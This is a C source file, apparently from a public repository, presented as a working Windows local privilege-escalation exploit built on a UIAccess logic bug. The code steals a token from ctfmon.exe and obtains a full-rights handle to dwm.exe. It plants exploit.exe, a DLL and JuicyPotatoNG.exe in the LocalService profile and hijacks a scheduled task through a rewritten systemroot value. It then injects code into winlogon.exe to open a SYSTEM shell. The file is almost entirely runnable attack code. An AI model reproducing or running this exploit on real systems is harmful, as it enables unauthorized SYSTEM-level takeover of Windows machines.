README.md
Rendering markdown...
// File: uiaccess_exploit.c
// Compiled: uiaccess_exploit.exe
// Author: Sascha Meyer
// Description: UIAccess exploit main program. Uses a logic bug of UIAccess processes interacting with win32kfull.sys.
// The Function NtUserGetWindowProcessHandle doesn't checks for any ACL or integrity level when a process has UIAccess privileges.
// This allows any user to obtain a process handle with full rights to the dwm.exe process (this process has LocalService permissions).
// The exploit exe file needs to be in a folder where all users have read access (ex. create C:\Exploit) together with the exploit DLL file and the JuicyPotatoNG.exe file
#define WINVER 0x0600
#define _WIN32_WINNT 0x0600
#define _CRT_SECURE_NO_WARNINGS
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef strcmpi
#define strcmpi _strcmpi
#endif
#ifdef UNICODE
#undef UNICODE
#endif
#include <windows.h>
#include <tlhelp32.h>
#include <wtsapi32.h>
#ifndef PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
#define PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0x00020000
#endif
BOOL CreateProcessWithParent(char* cmd, HANDLE parent)
{
SIZE_T ptsize = 0;
PROCESS_INFORMATION pi;
STARTUPINFOEXA si;
LPPROC_THREAD_ATTRIBUTE_LIST ptal;
BOOL ret;
InitializeProcThreadAttributeList(NULL, 1, 0, &ptsize);
ptal = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, ptsize);
if (!ptal)
{
return FALSE;
}
memset(&si, 0, sizeof(si));
si.StartupInfo.cb = sizeof(si);
if (!InitializeProcThreadAttributeList(ptal, 1, 0, &ptsize))
{
return FALSE;
}
if (!UpdateProcThreadAttribute(ptal, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parent, sizeof(HANDLE), NULL, NULL))
{
return FALSE;
}
si.lpAttributeList = ptal;
ret = CreateProcessA(NULL, cmd, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (STARTUPINFOA*)&si, &pi);
DeleteProcThreadAttributeList(ptal);
HeapFree(GetProcessHeap(), 0, ptal);
if (ret)
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return ret;
}
DWORD GetProcessPID(const char* name, BOOL current_session, BOOL active_session)
{
DWORD session = -1;
DWORD proc_session = -1;
PROCESSENTRY32 pe32;
HANDLE snapshot = NULL;
if (active_session)
{
proc_session = WTSGetActiveConsoleSessionId();
}
else if (current_session)
{
if (!ProcessIdToSessionId(GetCurrentProcessId(), &proc_session))
{
return 0;
}
}
memset(&pe32, 0, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE)
{
if (Process32First(snapshot, &pe32))
{
do
{
if (current_session || active_session)
{
if (!ProcessIdToSessionId(pe32.th32ProcessID, &session))
{
continue;
}
if (proc_session != session)
{
continue;
}
}
if (!strcmpi(name, pe32.szExeFile))
{
CloseHandle(snapshot);
return pe32.th32ProcessID;
}
} while (Process32Next(snapshot, &pe32));
}
CloseHandle(snapshot);
}
return 0;
}
typedef BOOL(WINAPI* __CreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
DWORD WINAPI CMDThread(LPVOID p)
{
__CreateProcessA _CreateProcessA = NULL;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
char cmd[8];
cmd[0] = 'c';
cmd[1] = 'm';
cmd[2] = 'd';
cmd[3] = '.';
cmd[4] = 'e';
cmd[5] = 'x';
cmd[6] = 'e';
cmd[7] = '\0';
si.dwFlags = 0;
si.cb = sizeof(si);
_CreateProcessA = (__CreateProcessA)p;
if (_CreateProcessA)
{
_CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
}
return 0;
}
BOOL InjectStartCMD(HANDLE process)
{
HMODULE kernel32 = NULL;
__CreateProcessA _CreateProcessA = NULL;
void* addr = NULL;
HANDLE thread = NULL;
kernel32 = GetModuleHandleA("kernel32.dll");
if (kernel32)
{
_CreateProcessA = (__CreateProcessA)GetProcAddress(kernel32, "CreateProcessA");
if (_CreateProcessA)
{
addr = VirtualAllocEx(process, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr)
{
if (WriteProcessMemory(process, addr, (void*)CMDThread, 0x1000, NULL))
{
thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, (void*)_CreateProcessA, 0, NULL);
if (thread)
{
CloseHandle(thread);
return TRUE;
}
}
}
}
}
return FALSE;
}
BOOL AddDebugPrivilege(void)
{
HANDLE token;
TOKEN_PRIVILEGES tp = { 0 };
LUID luid;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
if (OpenProcessToken((HANDLE)-1, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
{
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(token);
return (ERROR_SUCCESS == GetLastError());
}
}
return FALSE;
}
typedef NTSTATUS (WINAPI * __NtSetInformationToken)(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
PVOID TokenInformation,
ULONG TokenInformationLength
);
BOOL RunWithUIAccess(DWORD pid, WCHAR* cmd)
{
HMODULE ntdll = NULL;
__NtSetInformationToken _NtSetInformationToken = NULL;
HANDLE hprocess = NULL;
HANDLE htoken = NULL;
HANDLE hnewtoken = NULL;
SECURITY_ATTRIBUTES sa;
SID_IDENTIFIER_AUTHORITY sia = { 0 };
PSID sid = NULL;
SID_AND_ATTRIBUTES saa = { 0 };
TOKEN_MANDATORY_LABEL tml = { 0 };
STARTUPINFOW si = { 0 };
PROCESS_INFORMATION pi = { 0 };
ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll)
{
return FALSE;
}
_NtSetInformationToken = (__NtSetInformationToken)GetProcAddress(ntdll, "NtSetInformationToken");
if (!_NtSetInformationToken)
{
return FALSE;
}
hprocess = OpenProcess(0x1000, FALSE, pid);
if (!hprocess)
{
return FALSE;
}
if (!OpenProcessToken(hprocess, 0x02000000, &htoken))
{
CloseHandle(hprocess);
return FALSE;
}
CloseHandle(hprocess);
memset(&sa, 0, sizeof(SECURITY_ATTRIBUTES));
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
if (!DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, &sa, SecurityImpersonation, TokenPrimary, &hnewtoken))
{
CloseHandle(htoken);
return FALSE;
}
CloseHandle(htoken);
memset(&sia, 0, sizeof(SID_IDENTIFIER_AUTHORITY));
sia.Value[5] = 0x10;
if (!AllocateAndInitializeSid(&sia, 1, 0x2000, 0, 0, 0, 0, 0, 0, 0, &sid))
{
CloseHandle(hnewtoken);
return FALSE;
}
memset(&saa, 0, sizeof(SID_AND_ATTRIBUTES));
saa.Sid = sid;
saa.Attributes = 0x20;
tml.Label = saa;
if (_NtSetInformationToken(hnewtoken, TokenIntegrityLevel, &tml, sizeof(TOKEN_MANDATORY_LABEL)))
{
FreeSid(sid);
CloseHandle(hnewtoken);
return FALSE;
}
FreeSid(sid);
memset(&si, 0, sizeof(STARTUPINFOW));
si.cb = sizeof(STARTUPINFOW);
si.wShowWindow = 1;
si.dwFlags = 1;
if (!CreateProcessAsUserW(hnewtoken, NULL, cmd, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
CloseHandle(hnewtoken);
return TRUE;
}
DWORD IsUIAccess(void)
{
DWORD retlen = 0;
DWORD uiaccess = 0;
HANDLE token = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
{
GetTokenInformation(token, TokenUIAccess, &uiaccess, sizeof(DWORD), &retlen);
CloseHandle(token);
}
return uiaccess;
}
typedef HANDLE (WINAPI * __GetProcessHandleFromHwnd)(HWND hwnd);
int main(int argc, char** argv)
{
char username[64];
DWORD bufsize = 0;
char tmp[128];
char path[MAX_PATH];
char* ppath = NULL;
DWORD pathlen = 0;
HKEY key = NULL;
HMODULE oleacc = NULL;
__GetProcessHandleFromHwnd _GetProcessHandleFromHwnd = NULL;
HWND hwnd = NULL;
HANDLE target = NULL;
HANDLE dup = NULL;
DWORD ctfmon_pid = 0;
DWORD winlogon_pid = 0;
HANDLE winlogon = NULL;
char cmdline[] = "cmd.exe";
bufsize = 64;
GetUserNameA(username, &bufsize);
if (GetLastError() == 8 || !strncmp(username, "DWM-", 4))
{
pathlen = GetModuleFileNameA(NULL, path, MAX_PATH);
if (pathlen)
{
bufsize = GetSystemWindowsDirectoryA(tmp, (DWORD)sizeof(tmp) / 2);
if (bufsize)
{
strcat(tmp, "\\ServiceProfiles\\LocalService");
bufsize = (DWORD)strlen(tmp);
strcat(tmp, "\\exploit.exe");
CopyFileA(path, tmp, FALSE);
tmp[bufsize] = '\0';
strcat(tmp, "\\system32");
CreateDirectoryA(tmp, NULL);
ppath = strrchr(path, '.');
strcpy(ppath, ".dll");
strcat(tmp, "\\srchadmin.dll");
CopyFileA(path, tmp, FALSE);
ppath = strrchr(path, '\\');
strcpy(ppath, "\\JuicyPotatoNG.exe");
tmp[bufsize] = '\0';
strcat(tmp, "\\JuicyPotatoNG.exe");
CopyFileA(path, tmp, FALSE);
tmp[bufsize] = '\0';
if (!RegOpenKeyExA(HKEY_USERS, "S-1-5-19\\Environment", 0, KEY_SET_VALUE, &key))
{
if (!RegSetValueExA(key, "systemroot", 0, REG_SZ, (BYTE*)tmp, bufsize + 1))
{
if (!system("schtasks.exe /Change /enable /tn \\Microsoft\\Windows\\Shell\\IndexerAutomaticMaintenance"))
{
printf("[+] Tasks enabled\n");
if (!system("schtasks.exe /Run /I /tn \\Microsoft\\Windows\\Shell\\IndexerAutomaticMaintenance"))
{
printf("[+] Task started\n");
}
else
{
printf("[+] Cannot start task!\n");
}
}
else
{
printf("[+] Cannot enable task\n");
}
RegDeleteValue(key, "systemroot");
}
RegCloseKey(key);
}
}
}
}
else if (!strcmp(username, "SYSTEM"))
{
AddDebugPrivilege();
winlogon_pid = GetProcessPID("winlogon.exe", FALSE, TRUE);
if (winlogon_pid)
{
printf("[+] Found winlogon process: %u\n", (unsigned int)winlogon_pid);
winlogon = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, winlogon_pid);
if (winlogon)
{
printf("[+] Winlogon process opened: 0x%p\n", winlogon);
if (InjectStartCMD(winlogon))
{
printf("[+] Process started: %s\n", cmdline);
}
else
{
printf("[-] Cannot start process!\n");
}
CloseHandle(winlogon);
}
else
{
printf("[-] Cannot open winlogon process!\n");
}
}
else
{
printf("[-] Cannot find winlogon process!\n");
}
}
else if (IsUIAccess())
{
printf("[+] UIAccess privileges detected\n");
oleacc = LoadLibraryA("oleacc.dll");
if (oleacc)
{
printf("[+] oleacc.dll library loaded: 0x%p\n", oleacc);
_GetProcessHandleFromHwnd = (__GetProcessHandleFromHwnd)GetProcAddress(oleacc, "GetProcessHandleFromHwnd");
if (_GetProcessHandleFromHwnd)
{
printf("[+] GetProcessHandleFromHwnd address: 0x%p\n", _GetProcessHandleFromHwnd);
hwnd = FindWindowA("Dwm", NULL);
if (hwnd)
{
printf("[+] Dwm HWND: 0x%p\n", hwnd);
target = _GetProcessHandleFromHwnd(hwnd);
if (target)
{
printf("[+] Process handle: 0x%p\n", target);
if (DuplicateHandle(target, (HANDLE)-1, (HANDLE)-1, &dup, 0, FALSE, DUPLICATE_SAME_ACCESS))
{
printf("[+] Duplicated handle: 0x%p\n", dup);
if (CreateProcessWithParent(GetCommandLineA(), dup))
{
printf("[+] Process started: %s\n", GetCommandLineA());
}
else
{
printf("[-] Cannot start process!\n");
}
CloseHandle(dup);
}
else
{
printf("[-] Cannot duplicate process handle!\n");
}
CloseHandle(target);
}
else
{
printf("[-] Cannot get process handle!\n");
}
}
else
{
printf("[-] Cannot find Dwm Window!\n");
}
}
else
{
printf("[-] Cannot find GetProcessHandleFromHwnd!\n");
}
FreeLibrary(oleacc);
}
else
{
printf("[-] Cannot load oleacc.dll!\n");
}
}
else
{
printf("[-] No UIAccess privileges detected!\n");
ctfmon_pid = GetProcessPID("ctfmon.exe", TRUE, FALSE);
if (ctfmon_pid)
{
printf("[+] ctfmon.exe process found: %u\n", (unsigned int)ctfmon_pid);
if (RunWithUIAccess(ctfmon_pid, GetCommandLineW()))
{
printf("[+] UIAccess process started!\n");
}
else
{
printf("[-] Cannot steal token for UIAccess process!\n");
}
}
else
{
printf("[-] No ctfmon.exe process found in current session!\n");
}
}
return 0;
}